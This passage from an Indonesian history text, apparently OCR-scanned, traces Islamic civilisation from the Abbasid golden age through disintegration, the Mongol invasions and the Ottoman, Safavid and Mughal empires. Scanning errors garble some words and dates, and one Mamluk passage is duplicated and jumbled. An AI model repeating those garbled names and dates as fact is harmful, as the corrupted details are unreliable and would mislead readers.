lain-lain, dalam lapangan ilmu al-kalam atau teologi Wasil Ibn Ata', Ibn Al-Huzail, Al-Allaf dan lainlain dari golongan Al-Mu'tazilah, dari ahli sunnah Abu Al-Hasan Al-Asyari dan Al-Maturidi (abad IX dan X) dan dalam lapangan tasawuf atau mistisisme Islam, Zunnun Al-Misri, Abu Yazid Al-Bustami, Husain Ibn Mansur Al-Hallaj dan sebagainya. Dalam lapangan sastra terkenal Abu Al-Farraj AI-Isfahani dengan bukunya Kitab Al-Aghani. Dipertengahan abad X keluar pula Alfu Lailah Wa Lailah yang disusun oleh Al-Jasyiari. Perguruan Tinggi yang didirikan dizaman ini adalah antara lain Bait AlHikmah di Bagdad dan Al-Azhax di Cairo yang hingga kini masih harum namanya sebagai Universitas Islam yang tertinggi diseluruh dunia. Dalam bidang 12 arsitek dan seni periode ini juga mewujudkan gedung-gedung, mesjidmesjid dan lukisan-lukisan yang indah. Tetapi Hulagu, ketika menyerang Bagdad ditahun 1258 M, menghancurkan istana, gedung-gedung dan mesjid-mesjid yang menghiasi ibu kota kerajaan Abbasiah itu. Ringkasan periode ini adalah periode peradaban Islam yang tertinggi dan yang mempunyai pengaruh, sungguhpun tidak dengan secara langsung, pada tercapainya peradaban modern di Barat sekarang: Periode kemajuan Islam ini sebagai, disebut Christopher Daw son, bersamaan masanya dengan abad kegelapan di Eropa. Memang sebagai diterangkan oleh H.Mc Neill, kebudayaan Kristen di Eropa di antara 600 dan 1000 M., sedang mengalami masa surut yang rendah. Di abad XI Eropa mulai sadar akan adanya peradaban Islam yanj tinggi di Timur dan melalui Spanyol, Sicilia dan Perang Salib peradab an itu sedikit demi sedikit dibawa ke Eropa. Eropa mulailah kena pada rumah-rumah sakit, pemandianpemandian umum, pemakaian burung dara untuk mengirim informasi militer, pada bahan-bahan makanan Timur seperti beras (rice, rijst, du riz, berasal dari al-urz), jeruk (lemon berasal dari al-laimun), gula (sugar, sucre, suiker berasal dari al-sukkar) dan sebagainya. Mereka kenal pada hasil-hasil tenunan Timur seperti kain muslin (berasal dari kota Mosul), kain baldaclir, (dari kota Bagdad) kain damask (dari kota Damaskus) pada permadani, gelas dan sebagainya. Kemudian dengan diterjemahkannya buku-buku ilmu pengetahuan dan falsafat karangan ahli-ahli dan filosif-filosif Islam ke dalam bahasa Eropa di abad XII, mulailah Eropa kenal pada falsafat dan ilmu pengetahuan Yunani. Eropa di ketika itu tidak kenal lagi pada falsafat serta ilmu pengetahuan Yunani. Dari Islamlah Eropa mempelajari hal-hal di atas. Jadi tidak mengherankan kalau Lebanon mengatakan (orang Arablah) yang menyebabkan kita mempunyai peradaban, karena mereka adalah imam kita selama enam abad). Hal ini di akui oleh Rom Landau. Menurut penyelidikannya, dari orang Islarr periode klasik inilah orang Barat belajar berfikir secara obyektif dan menurut logika, dan belajar berdada lapang di ketika Eropa diselubungi oleh suasana pikiran sempit, tak adanya toleransi terhadap kaum minoritas, dan oleh suasana penindasan terhadap pikiran mereka. Hal-hal inilah menurut keterangannya yang menjadi bimbingan bagi renaissance Eropa yang kemudian membawa pada kemajuan dan peradaban Barat sekarang. Pada tempatnyalah kalau Jacques C. Rislar mengatakan bahwa ilmu pengetahuan dan tehnik Islam amat dalam mempengaruhi kebudayaan Barat.
2. Masa Disintegrasi : 1000 - 1250 M.
Disintegrasi dalam bidang politik sebenarnya telah mulai terjadi pada akhir zaman Bani Umayyah, tetapi memuncak di zaman Bani Abbas terutama setelah Khalifah-khalifah menjadi boneka dalam tangan tentara pengawal. Daerah-daerah yang jauh letaknya dari pusat pemerintahan di Damaskus dan kemudian di Bagdad, melepaskan diri dari kekuasaan Khalifah dipusat dan bertimbunlah dinasti-dinasti kecil. Di Marokko Idris Ibn Abdullah, salah satu dari keturunan Ali dapat membentuk Kerajaan ldrisi yang bertahan dari tahun 788 M sampai tahun 974 M, dengan Fas (Fez) sebagai ibu-kota. Di Tunis Dinasti Aghlabi berkuasa dari tahun 800 M sampai 969 M. Kerajaan ini dibentuk oleh
Ibrahim Ibn Aghlab, Gubernur yang diangkat oleh Harun Al-Rasyid. Mesjid Qairawan yang sampai sekarang terdapat di Tunis adalah peninggalan dari dinasti ini. Di Mesir Ahmad Ibn Tulun melepaskan diri dari kekuasaan Bagdad di tahun 868 M. Dinasti ini berkuasa di Mesir sampai tahun 905 M. Di tahun 877 M Ibn Tulun dapat meluaskan daerah kekuasaannya sampai ke Suria. Di bawah pemerintahan Dinasti ini, irigadi diperbaiki, ekonomi meningkat dan Mesir mulai menjadi pusat kebudayaan Islam. Ibn Tulun sendiri mendirikan rumah sakit besar di Fustat dan mesjid yang diberi nama Mesjid Ibn Tulun, yang sampai sekarang masih terdapat di Cairo. Setelah jatuhnya Dinasti Ibn Tulun, Mesir untuk beberapa tahun kembali ke bawah kekuasaan Khalifah Bagdad tetapi di tahun 935 M dikuasai lagi oleh dinasti lain, yaitu Dinasti Ikhsyid, untuk kemudian jatuh ketangan khalifah Fatimiah di tahun 969 M. Di sebelah Utara Mesir, Dinasti Hamdani merampas Suria ditahun 944 M dan mempertahankannya sampai tahun 1003 M. Di sebelan Timur Bagdad Dinasti Tahiri berkuasa di Khurasan dari tahun 820 M sampai tahun 872 M. Kemudian Dinasti ini digantikan oleh Dinasti Saffari sampai tahun 908 M. Di Transoxania Dinasti Samani melepaskan diri dari kekuasaan Bagdad di tahun 874 M. Dinasti ini berurnur 125 tahun. Di tahun 999 M daerah-daerah yang merelCa kuasai di sebelah Selatan Transoxania dirampas oleh Mahmud Ghazna, sedang daerah-daerah yang di sebelah Utara jatuh ke tangan Ilek Khan dari Turkistan. Mahmud Ghazna kemudian meluaskan daerah kekuasaannya sampai ke India. Dalam pada itu golongan Syi'ah yang pada mulanya menjadi teman sekutu Bani Abbas, mulai melancarkan aksi penentangan mereka. Di tahun 869 M timbul pemberontakan kaum Zanj di bawah pimpinan Ali Ibn Muhammad. Kaum Zanj adalah budak-budak yang didatangkan dari Afrika untuk bekerja di pertambangan saIpater di Irak. Ibn Muhammad mengaku pengikut Ali dan datang untuk melepaskan mereka dari kesulitan hidup yang mereka hadapi. Dari tahun 870 M sampai 883 M kekuasaan Bani Abbas dikacau oleh pemberontakan Zanj ini. Satu gerakan lain ialah gerakan Qaramitah yang dimulai ditahun
874 M oleh Hamdan Qarmat, seorang penganut faham Syi'ah Ismailiah di Irak. Di tahun 899 M kaum Qaramitah ini dapat mem bentuk Negara merdeka di Teluk Persia, yang kemudian menjadi pusat kegiatan mereka dalam menentang kekuasaan Bani Abbas. Di tahun 930 M, seranganserangan mereka meluas sampai sejauh Mekkah. Sewaktu pulang mereka bawa lari Al-Hajr Al-Aswad yang dikembalikan baru dua puluh tahun kemudian. Satu gerakan lain lagi ialah gerakan Hasysyasyin (Assassins) yang merupakan lanjutan dari gerakan Qaramitah. Pemimpinnya ialah Hasan Ibn Sabbah (w.1124 M) yang membuat Alamut di sebelah Selatan Laut Caspia sebagai pusat serangan-serangannya terhadap kekuasaan Bagdad. Kaum Hasysyasyin ini tidak segansegan mengadakan pembunuhan-pembunuhan terhadap pembesarpembesar Negara yang memusuhi mereka. Salah satu pembesar yang mereka bunuh adalah Nizam Al-Mulk, Perdana Menteri Dinasti Salajikah di tahun 1092 M. Nizam A1-Mulk dikenal dalam sejarah Islam sebagai pendiri dari Madrasahmadrasah Nizamiah yang diantara guru-guru Besarnya terdapat Imam Al- Haramain dan Al-Ghazali. Sementara itu ada pula pemuka-pemuka Syi'ah yang dapat nembentuk Dinasti yang menguasai daerah-daerah tertentu. Salah atu di antaranya ialah Ahmad Ibn Buwaihi yang dapat menguasai Asfahan, Syiraz dan Kirman di Persia. Di tahun 945 M., ia mengadakan serangan ke Bagdad dan Dinasti Buwaihi menguasai ibu kota Bani Ubbas ini sampai tahun 1055 M. Khalifah-khalifah Bani Abbas tetap diakui, tetapi kekuasaan dipegang oleh Sultan-sultan Buwaihi. Kekuasaan Dinasti Buwaihi atas Bagdad kemudian dirampas oleh Dinasti Saljuk. Saljuk adalah seorang pemuka suku bangsa Turki yang berasal dari Turkestan. Tughril Beg, seorang cucu dari valjuk dapat memperluas daerah kekuasaan mereka sampai ke daerah-daerah yang dikuasai Dinasti Buwaihi. Sultan-sultan yang kenamaan dari Dinasti ini di samping Tughril adalah Alp Arselan 1063 - 1072 M) dan Maliksyah (1072 - 1092 M). Sultan Alp Arsein mengalahkan Bizantium dipertempuran Manzikart di tahun 1071 M, dan semenjak itu sampai sekarang Asia Kecil menjadi daerah Islam. Maliksyah terkenal dengan usaha pembangunan yang diadakannya. Mesjid-mesjid, jembatan jembatan, irigasi dan jalanjalan raya di bangun. Dalam lapangan ilmu pengetahuan ia juga dikenal sebagai Sultan yang banyak menyokong pembangunannya dan ini terutama terjadi dengan pimpinan Perdana Menterinya Nizam AI-Mulk. Khalifah dimasa berkuasanya Sultan-sultan Bawaihi dan Salajikah hamper merupakan boneka. Calon Khalifah yang disukai diangkat dan Khaliih yang tak disukai dijatuhkan. Khalifah-khalifah Bani Atsbas tak dapat berbuat apa-apa. Semua kekuasaan terletak ditangan sultan-sultan. Khalifah dipertahankan hanya untuk memberikan asar hukum kepada pemerintahan Dinasti yang sedang berkuasa. Menurut faham yang berlaku pada waktu itu, Sultan yang tidak mendapat pengesahan dari Khalifah tidak merupakan Sultan yang sah. Kalau Dinasti-dinasti ini merupakan Dinasti kecil yang secara nominal masih mengakui Khalifah-khalifah di Bagdad sebagai kepala mereka, di Mesir terdapat Dinasti Fatimiah yang mengambil bentuk khilafah aliran Syi'ah dan yang menjadi saingan bagi khilafah aliran Sunnah di Bagdad. Khilafah Fatimiah pada mulanya dibentuk oleh Ubaidullah di Tunis di tahun 909 M. Khilafah ini mempunyai Angkatan Laut yang mengadakan serangan-serangan sampai ke pantai Eropa, terutama Italia dan Perancis. Di tahun 969 M seorang Jenderal Fatimi bernama Jawhar Al-Siqilli dapat menguasai Fustat di Mesir. Jawharlah yang mendirikan kota Cairo sekarang dan Niesjid Al-Azhar di tahun 972 M yang kemudian dijadikan pusat Perguruan Tinggi Islam oleh Khalifah Fatimiah Al-Azis (975 M - 996 M). Juga didirikan lagi Dar-A1 Hikmah di tahun 1005 M. Khalifah Fatimiah berkuasa di Mesir sampai tahun 1171 M. Di Spanyol Abd Al-Rahman dari Dinasti Bani Umayyah di tahun 756 M dapat pula membentuk suatu khilafah tersendiri. Dinasti Bani Umayyah Spanyol ini dapat mempertahankan kekuasa an mereka sampai tahun 1031 M. Abd Al-Rahmanlah yang mendirikan mesjid Cordova yang masyhur itu. Cordova merupakan pusat kebudayaan Islam yang penting di Barat, sebagai tandingan Bagdad di Timur. Kalau di Bagdad terdapat Bait Al-Hikmah serta Madrasah Nizamiah dan di Cairo terdapat Al-Azhar serta Dar Al-Hikmah, di Cordova terdapat Universitas Cordova sebagai pusat ilmu pengetahuan yang didirikan oleh Abd Al-Rahman III (929 M - 961 M). Perpustakaannya menurut riwayat mengandung ratusan ribu buku. Sesudah jatuhnya Dinasti Bani Umayyah Spanyol ini, Andalusia terbahagi ke dalam beberapa negara kecil yang selalu berperang di antara mereka, seperti Dinasti Abbadi, Dinasti Murabit, Dinasti Muwahhid, Dinasti Bani Nasr dan sebagainya. Dalam pada itu di Periode ini pulalah terjadi Perang Salib di Palestina. Dengan jatuhnya Asia Kecil ke tangan Dinasti Saljuk, jalan naik ke Palestina bagi umat Kristen Eropa menjadi terhalang. Untuk membuka jalan itu kembali Paus Urban II berseru kepada umat Kristen Eropa di tahun 1095 M supaya mengadakan perang suci terhadap Islam. Perang Salib Pertama terjadi antara tahun 1096 M dan 1099M, Perang Salib Kedua antara tahun 1147 M dan 1149 M yang diikuti lagi oleh beberapa Perang Salib lainnya, tetapi tidak berhasil dalam merebut Palestina dari kekuasaan Islam. Di abad keduapuluh inilah baru Palestina jatuh ketangan Inggeris sesudah kalahnya Turki dalam Perang Dunia Pertama. Disintegrasi dalam lapangan politik membawa pada disintegrasi dalam lapangan kebudayaan, bahkan juga dalam lapangan agama. Perpecahan di kalangan umat Islam menjadi besar. Dengan adanya daerah-daerah yang berdiri sendiri itu, di samping Bagdad, sebagai telah dilihat timbul pusat-pusat kebudayaan lain, terutama Cairo di Mesir, Cordova di Spanyol, Asfahan, Bukhara dan Samarkand di Timur. Dengan timbulnya pusat-pusat kebudayaan baru ini, terutama pusat-pusat yang berada di bawah kekuasaan Persia, bahasa Persia meningkat menjadi bahasa kedua di dunia Islam. Di zaman disintegrasi ini, ajaran-ajaran sufi yang timbul dizaman Kemajuan I, mengambil bentuk terikat. Mutunya mulai menurun. Di samping hal-hal negatif tersebut ekspansi Islam di zaman ini meluas ke daerah yang dikuasai Bizantium di Barat, ke daerah pedalaman di Timur dan Afrika melalui gurun Sahara di Selatan. Sebagai telah dilihat, Dinasti Salajikah meluaskan daerah Islam sampai ke Asia Kecil dan dari sana kemudian diperluas lagi oleh Dinasti Usmani ke Eropa Timur. Ke India ekspansi Islam diteruskan oleh Dinasti Gaznawi. Raja-raja Hindu dikalahkan dan Punjab serta sebahagian dari daerah-daerah Sirid masuk ke bawah kekuasaan Islam.. Dinasti Ghuri kemudian melanjutkan ekspansi Islam ke daerah-daerah lain di India sehingga Kerajaan Delhi jatuh di tahun 1192 M, dan tidak lamit sesudah itu Bengal juga menjadi daerah Islam. Penyiaran Islam ke daerah-daerah Sahara di Afrika dilakukan oleh Kaum Murabit yang menguasai Marokko dan Andalusia. Kerajaan Zanj di Ghana mereka kalahkan dipertengahan kedua dari abad .ke XI M.

II. Periode Pertengahan : 1250 - 1800 M.
Periode ini dapat pula dibagi ke dalam dua masa, Masa Kemunduran I dan Masa Tiga Kerajaan Besar.
1. Masa Kemunduran I : 1250 - 1500 M.
Di zaman ini Jengiskhan dan keturunannya datang membawa penghancuran ke dunia Islam. Jengiskhan berasal dari Mongolia. Setelah menduduki Peking di tahun 1212 M, ia mengalihkan seranganserangannya ke arah Barat. Satu demi satu kerajaan-kerajaan Islam jatuh ke tangannya. Transoxania dan Khawarizm dikalahkan di tahun 1219/20 M. Kerajaan Ghazna pada tahun 1221 M, Azarbaijan pada tahun 1223 M dan Saljuk di Asia Kecil pada tahun 1243 M. Dari sini ia meneruskan serangan-serangannya ke Eropa dan ke Rusia. Serangan ke Bagdad dilakukan oleh cucunya Hulagu Khan. Khurasan di Persia terlebih dahulu ia kalahkan dan baru Hasysyasyin di Alamut ia hancurkan. Pada permulaan tahun 1258 M ia sampai ke tepi kota Bagdad. Perintah untuk menyerah ditolak oleh Khalifah Al-1Vlusta'sim dan kota Bagdad dikepung. Akhirnya pada 10 Pebruari 1258 M benteng kota ini dapat ditembus dan Bagdad dihancurkan. Khalifah dan keluarga serta sebahagian besar dari penduduk dibunuh. Beberapa dari anggota keluarga Bani Abbas dapat melarikan diri, dan diantaranya akhirnya ada yang menetap di Mesir. Dari sini Hulagu rneneruskan serangannya ke Suria dan dari Suria ia ingin memasuki Mesir. Tetapi di Ain Jalut (Goliath) ia dikalahkan oleh Baybars, Jenderal Mamluk dari Mesir, di tahun 1260 M. Bagdad dan daerah yang ditaklukkan Hulagu selanjutnya diperintah oleh Dinasti Ilkhan. Ilkhan adalah gelaran yang diberikan kepada Hulagu. Daerah yang dikuasai Dinasti ini ialah daerah yang terletak antara Asia Kecil di Barat dan India di Timur. Dinasti Ilkhan berumur dekat 100 tahun. Hulagu bukanlah beragama Islam dan anaknya Abaga (1265 - 1281 M) masuk Kristen. Di antara keturunannya yang mula sekali masuk Islam ialah cucunya Tagudar dengan nama Ahmad, tetapi mendapat tantangan dari para Jenderalnya. Ghasan Mahmud (1295 - 1304 M) juga masuk Islam dan demikian juga Uljaytu Khuda Banda (1305 - 1316 M). Uljaytu pada mulanya beragama Kristen dan adalah Raja Mongol besar yang terakhir. Kerajaan yang dibentuk Hulagu akhirnya pecah menjadi beberapa Kerajaan kecil, di antaranya Kerajaan Jaylar (1336 - 1411 M) dengan Bagdad sebagai ibu kota, Kerajaan Salghari (1148 - 1282 M) diFaris, dan Kerajaan Muzaffari (1313 - 1393 M) juga di Faris. Dalam pada itu Timur Lenk, seorang yang berasal dari keturunan Jengis Khan dapat menguasai Samarkand di tahun 1369 M. Dari Samarkand ia mengadakan serangan-serangan ke sebelah Barat dan dapat menguasai daerah-daerah yang terletak antara Delhi dan Laut Marmara. Dinasti Timur Lenk berkuasa sampai pertengahan kedua dari abad ke XV. Kedatangannya ke daerah-daerah ini juga membawa penghancuran. Keganasan Timur digambarkan oleh pembunuhan missal yang dilakukannya di kota-kota yang tidak mau menyerah tetapi melawan kedatangannya. Di kota-kota yang telah ditundukkan ia dirikan piramid dari tengkorak rakyat yang dibunuh. Di Delhi misalnya ia sembelih 80.000 dari penduduknya. Di Aleppo lebih dari 20.000 orang. Mesjid-mesjid dan madrasah-madrasah dihancurkan. Dari Mesjid Umawi di Damask ianya dinding yang tinggal. Di mana saja ia datang, ia membawa penghancuran. Di Mesir, dalam pada itu, khilafah Fatimiah digantikan oleh Dinasti Salah Al-Din AI-Ayubi di tahun 1174 M. Dengan datanginya Salah A1-Din, Mesir masuk kembali ke aliran Sunni. Aliran Syi'ah di sana hilang dengan hilangnya khilafah Fatimiah. Salah Al-Din dikenal dalam sejarah sebagai Sultan yang banyak membela Islam dalam Perang Salib. Dinasti Al-Ayubi jatuh di tahun 1250 M dan kekuasaan di Mesir berpindah ke tangan kaum Mamluk. Kaum Mamluk ini ber.sal dari budakbudak yang kemudian mendapat kedudukan tinggi alam pemerintahan Mesir. Sultan Mamluk yang pertama adalah Baybars (1250 - 1257 M), dan salah satu yang termasyhur diantara mereka adalah Sultan Baybars (1260 - 1277 M) yang dapat mengalahkan Hulagu di 'Ain Jalut. Kaum Mamluk berkuasa di lesir berpindah ke tangan kaum Mamluk. Kaum Mamluk ini berasal dari budak-budak yang kemudian mendapat kedudukan tinggi alam pemerintahan Mesir. Sultan Mamluk yang pertama adalah mengalahkan Hulagu di 'Ain Jalut. Kaum Mamluk berkuasa di Mesir sampai tahun 1517 M. Merekalah yang membebaskan Mesir dan Suria dari peperangan Salib dan juga yang membendung serangan-serangan kaum Mongol di bawah pimpinan Hulagu da Timur Lenk, sehingga Mesir terlepas dari penghancuran-penghancura seperti yang terjadi di dunia Islam lain. Di India juga persaingan dan peperangan untuk merebut kekuasaan
selalu terjadi sehingga India senantiasa menghadapi perobahan penguasa. Dinasti timbul untuk kemudian dijatuhkan da diganti oleh yang lain. Kekuasaan Dinasti Ghaznawi dipatahka oleh pengikut-pengikut Ghaur Khan, yang juga berasal dari sala satu suku-bangsa Turki. Mereka, masuk ke India di tahun 1175 M dan bertahan sampai tahun 1206 M. India kemudian jatuh ke tangan Qutbuddin Aybak, yang selanjutnya menjadi pendiri Dinas Mamluk India (1206 - 1290 M), kemudian ke tangan Dinas Khalji (1296 - 1316 M), selanjutnya Dinasti Tughluq (1320 - 141 M) dan Dinasti-dinasti lain, sehingga Babur datang di permulaa abad XVI dan membentuk Kerajaan Mughal di India. Di Spanyol sementara itu timbul peperangan antara Dinasi dinasti Islam yang ada di sana dengan Raja-raja Kristen. Di dalam peperangan itu Raja-raja Kristen dapat memakai politik adu-domba antara Dinasti-dinasti Islam tersebut. Sebaliknya Raja-raja Kristen mengadakan persatuan sehingga satu demi satu Dinasti-dinasti Islam dapat dikalahkan. Cordova jatuh di tahun 1238 M. Seville di tahun 1248 M, dan akhirnya Granada jatuh di tahun 1491 N1. Oran-orang Islam dihadapkan pada dua pilihan, masuk Kristen atau keluar dari Spanyol. Di tahun 1609 M boleh dikatakan tidak ada lagi orang Islam di Spanyol. Umumnya mereka pindah ke kotakota di pantai Utara Afrika. Sebagai dapat dilihat di atas di Masa Kemunduran I ini desentralisasi dan desintegrasi dalam dunia Islam meningkat. Di zaman inilah pula hancurnya khilafah secara formil. Islam tidak lagi mempunyai Khalifah, yang diakui oleh semua umat sebagai angkat Khalifah yang baru di Istambul di abad ke enam belas. Bahagian, yang merupakan pusat dunia Islam, jatuh ke tangan bukan Islam buat beberapa waktu. Dan terlebih dari itu, Islam hilang dari Spanyol. Perbedaan antara kaum Sunni dan kaum Syi'ah menjadi bertambah nyata kelihatan. Demikian pula antara Arab dan Persia. Dunia Islam terbagi dalam dua bagian; bagian Arab yang terdiri atas Semenanjung Arabia, Irak, Suria, Palestina, Mesir, Afrika Utara dan Sudan dengan Mesir
sebagai pusatnya; dan bagian Persia yang terdiri atas daerah Balkan, Turki, Persia, Turkistan dan India dengan Persia sebagai pusatnya. Sungguhpun demikian kekuasaan pada umumnya terletak ditangan Dinasti-dinasti yang berasal dari suku-suku bangsa Turki. Kebudayaan Persia meningkat di dunia Islam bagian Persia serta mengambil bentuk internasional dan dengan demikian mulai mendesak lapangan kebudayaan Arab.
Di samping itu pengaruh tarikat-tarikat bertambah mendalam dan bertambah meluas di dunia Islam. Pendapat yang ditimbulkan di Zaman Disintegrasi bahwa pintu ijtihad telah tertutup diterima secara umum di zaman ini. Antara mazhab yang empat terdapat suasana damai dan di madrasah-madrasah diajarkan mazhab yang empat. Perhatian pada ilmuilmu
pengetahuan sedikit sekali. Tetapi sebaliknya Islam mendapat pemeluk-pemeluk baru di daerah-daerah yang selama ini belum pernah dimasuki Islam. Ke daerah Balkan Islam dibawa oleh Usman, seorang Kepala Sukubangsa Turki yang menetap di Asia Kecil. Usman dan anak buahnya pada mulanya mengadakan serangan-serangan terhadap Kerajaan Bizantium di Asia Kecil. Sebelum meninggal di tahun 1326 M, Bursa telah dapat dikuasainya. Serangan-serangan diteruskan oleh anaknya Orkhan I (1326 - 1357 M) sampai ke bahagian Timur dari benua Eropa. Benteng Tzimpe dan Gallipoli jatuh ke tangannya. Sultan Murad I (1359 - 1389 M) menaklukkan Adrianopel di tahun 1365 M. Kota ini kemudian dijadikan ibu kota. Tidak lama sesudah itu Macedonia jatuh ke bawah kekuasaannya. Di tahun 1385 M Sofia, ibu kota Rumelia diduduki. Dengan demikian kesultanan kecil yang dibentuk oleh Usman berobah menjadi kerajaan besar yang kemudian dikenal dalam ejarah dengan nama Kerajaan Usmani (Ottoman Empire). Sultan Bayazid (1389 - 1402 M) memperluas daerah kekuasaan Kerajaan Jsmani di Eropa dengan menaklukkan sebahagian dari Yunani dan daerah-daerah Eropa Timur sampai ke perbatasan Hongaria Salonika dikuasai kemudian oleh Sultan Murad II (1421 - 1451 M datt dari sana . ia masuk ke Albania. Kemajuan-kemajuan laii dibuat oleh Sultan-Sultan yang datang sesudahnya.
2. Masa Tiga Kerajaan Besar (1500 - 1800 M).
Masa ini dapat pula dibagi ke dalam dua fase, Fase Kemajuan dan Fase Kemunduran.
a. Fase Kemajuan (1500 - 1700 M).
Fase Kemajuan ini merupakan Kemajuan Islam II. Tiga Kerajaan Besar yang dimaksud adalah Kerajaan Usmani di Turki. Kerajaan Safawi di Persia dan Kerajaan Mughal di India. Sultan Muhammad Al-Fatih (1451 - 1481 M) dari Kerajaat Usmani mengalahkan Kerajaan Bizantium dengan menduduk Istambul di tahun 1453 M. Ekspansi ke arah Barat dengan demikian berjalan lebih lancar. Tetapi di zaman Sultan Salim I (1512 - 1520 M) perhatian ke arah Barat dialihkan ke arah Timur. Persi mulai diserang dan dalam peperangan Syah Ismail dikalahkan dai dipukul mundur. Setelah menguasai Suria, Sultan
Salim merebu Mesir dari tangan Dinasti Mamluk. Cairo jatuh di tahun 1517 M Kemajuan-kemaf uan lain dibuat oleh Sultan Sulaiman Al-Qanun (1520 -1566 M). Sultan Sulaiman adalah Sultan Usmaniyanf terbesar. Di zamannya Irak, Belgrado, Pulau Rhodes, Tunis, Bud, pest dan Yaman dapat dikuasai. Winen ia kepung di tahun 1529 M Di masa kerajaannya daerah kekuasaan Kerajaan Usmani mencaku: Asia Kecil, Armenia,, Irak, Suria, Hejaz serta Yaman di Asia, Mesii Libia, Tunis serta Aljazair di Afrika dan Bulgaria, Yunani, Yugoslavia Albania, Hongaria dan Rumania di Eropa. Sementara itu di Persia muncul satu Dinasti baru yang kemudian merupakan suatu Kerajaan Besar di dunia Islam. Dinasti in berasal dari seorang sufi Syeikh Ishak Safiuddin (1252 - 1334 M) dari Ardabil di Azarbaijan. Syeikh Safiuddin beraliran Syi'ah dal mempunyai pengaruh besar di daerah itu. Cucunya Syeikh Ismai Safawi dapat mengalahkan Dinasti-dinasti lain terutama kedua Suki bangsa Turki Kambing Putih dan Kambing Hitam, sehingga akhirnya Dinasti Safawi dapat menguasai seluruh daerah Persia. Di sebelah Barat Kerajaan Safawi berbatasan dengan Kerajaan Usmani dan di sebelah Timur dengan India yang pada waktu itu berada di bawah kekuasaan Kerjaaan Mugial. Syah Ismail membuat aliran Syi'ah sebagai mazhab yang dianut negara. Di antara Sultan-sultan besar dari Kerajaan Safawi selain dari Syah Ismail (1500 - 1524 M), terdapat nama-nama Syah Tahmasp 524 - 1576M), dan Syah Abbas (1557 - 1629 M). Sesudah Syah Abbas, raja-raja Safawi tidak ada yang kuat Iagi dan akhirnya ipat dijatuhkan oleh Nadir Syah (1736 - 1747 M), kepala dari salah satu suku bangsa Turki yang terdapat di Persia di ketika itu. Kerajaan Mughal di India dengan Delhi sebagai ibu kota, didirikan oleh Zahiruddin Babur (1482 - 1530 M), salah satu dari cucu-cucu Timur Lenk. Setelah menundukkan Kabul, ia melalui Khy bar Pass, menyeberang ke India di tahun 1505 M. Lahore jatuh ke bawah kekuasaannya di tahun 1523 M, dan empat tahun kemudian India tengah dapat dikuasainya. Anaknya Humayun (1530 - 1556 M) menggabungkan Malwa dan Gujarat ke daerah-daerah yang dikuasai kerajaan Mughal yang muda itu. Dan anaknya Akbar (1556 - 1606 M) menaklukkan Raja-raja India yang masih ada pada waktu itu an kemudian juga Bengal. Dalam soal agama, Akbar mempunyai pendapat yang liberal dan ingin menyatukan semua agama dalam satu bentuk agama baru yang diberi nama Din Ilahi. Sultan-sultan yang besar sesudah Akbar adalah antara lain Jehangir (1605-1627 M) dengan permaisurinya Nur Jehan, Syah Jehan (1628 - 658 M) dan Aurangzeb (1659- 1707 M). Sesudah Aurangzeb terdapat sultan-sultan lemah yang tidak dapat mempertahankan melanjutan kerajaan Mughal. Masing-masing dari ketiga Kerajaan Besar ini mempunyai masa kejayaan sendiri terutama dalam bentuk literatur dan arsitek. Literatur dalam bahasa Turki di zaman inilah mulai muncul. Di masamasa sebelumnya pengarang-pengarang Turki menulis dalam bahasa Persia. Di zaman Sultan Salim I dan Sultan Sulaiman dikenal dua pengarang Fuzuli dan Baki, yang kemudian disusul di abad ke delapan belas oleh Nedim dan Syeikh Ghalib. Dalam bidang arsitek, Sultan-sultan mendirikan istana-istana, mesjid-mesjid, benteng-benteng, dan sebagainya. Di antara mesjid-mesjid yang terkenal dapat disebut mesjid Aya Sofia, yang padaimulanya adalah gereja, tetapi dirobah menjadi mesjid, dan mesjid Sulaimania di Istambul. Mesjid dalam bentuk arsitek Ottoman didirikan juga di luar daerah Turki, seperti mesjid Muhammad Ali di Cairo. Di India bahasa Urdu juga meningkat menjadi bahasa literatur dan menggantikan bahasa Persia yang sebelumnya dipakai di kalangan istana Sultan-sultan di Delhi Menurut sejarahnya penulis-penulis besar pertama dalam bahasa ini adalah Mazhar, Sauda, Dard dan Mir, kesemuanya di abad kedelapan belas. Gedung-gedung bersejarah yang ditinggalkan priode ini adalah antara lain Taj Mahal di Agra, Benteng Merah, Jama Masjid, istana-istana dan gedung-gedung pemerintahan di Delhi. Sultan-sultan Mughal juga mendirikan makam-makam yang indah. Persia juga mempunyai mesjid-mesjid indah yang didirikan di periode ini, seperti Mesjid Besar Isfahan yang dibangun untuk Syah Abbas. Tetapi disebalik itu perhatian pada ilmu pengetahuan kurang sekali dan ilmu pengetahuan, di seluruh dunia Islam memang merosot. Tarikah terus mempunyai pengaruh besar dalam hidup umat Islam. Dengan timbulnya Turki dan India sebagai kerajaan besar, di samping bahasa Arab dan Persia, bahasa Turki dan bahasa Urdu mulai pula muncul sebagai bahasa penting dalam Islam. Kedudukan bahasa Arab untuk menjadi bahasa persatuan bertambah menurun. Kemajuan Islam II ini lebih banyak merupakan kemajuan dalam lapangan politik dan jauh lebih kecil dari Kemajuan Islam I, Dalam pada itu Barat mulai bangkit terutama dengan terbukanya jalan ke pusat rempahrempah dan bahan-bahan mentah di Timur Jauh, melalui Afrika Selatan dan dijumpainya Amerika oleh Colombus di tahun 1492 M. Tetapi sebagai diterangkan Mc Neill, kekuatan Eropa pada waktu itu diperbandingkan
dengan kekuatan Islam, masih lemah.
b. Fase Kemunduran II, (1700 - 1800 M).
Sesudah Sulaiman Al-Qanuni, Kerajaan Usmani tidak lagi mempunyai Sultan-sultan yang kenamaan. Kerajaan ini mulai memasuki fase kemundurannya di abad ke XVII M. Di dalam negeri timbul pemberontakan-pemberontakan, seperti di Suria di bawah pimpinan Curdi Jumbulat, di Lebanon di bawah pimpinan Druze Amir Fakhruddin. Dengan negara-negara tetangga terjadi peperangan seperi Venitia (1645 – 1664 M.) dan dengan Syah Ahbas dari Persia. Jenissary, nama yang diberikan kepada tentara Usmani juga kekuasaan Harem. Dalam pada itu di Eropah mulai pula timbul negaranegara yang kuat, sedang Rusia di bawah Peter Yang Agung telah pula berobah menjadi negara yang maju. Dalam peperangan dengan negaranegara ini Kerajaan Usmani nengalami kekalahan-kekalahan dan daerahnya di Eropa mulai diperkecil sedikit demi sedikit. Umpamanya Yunania memperoleh kemerdekaannya kembali di tahun 1829 M dan Rumania lepas di tahun 1856. Yang lain-lain mengikuti, sehingga akhirnya sesudah Perang Dunia I daerah Kerajaan Usmani yang demikian luas dahulu hanya mencakup Asia Kecil dan sebagian kecil dari daratan Eropa Timur. Kerajaan Usmani lenyap dan sebagai gantinya timbul Republik Turki di tahun 1924 M. Di 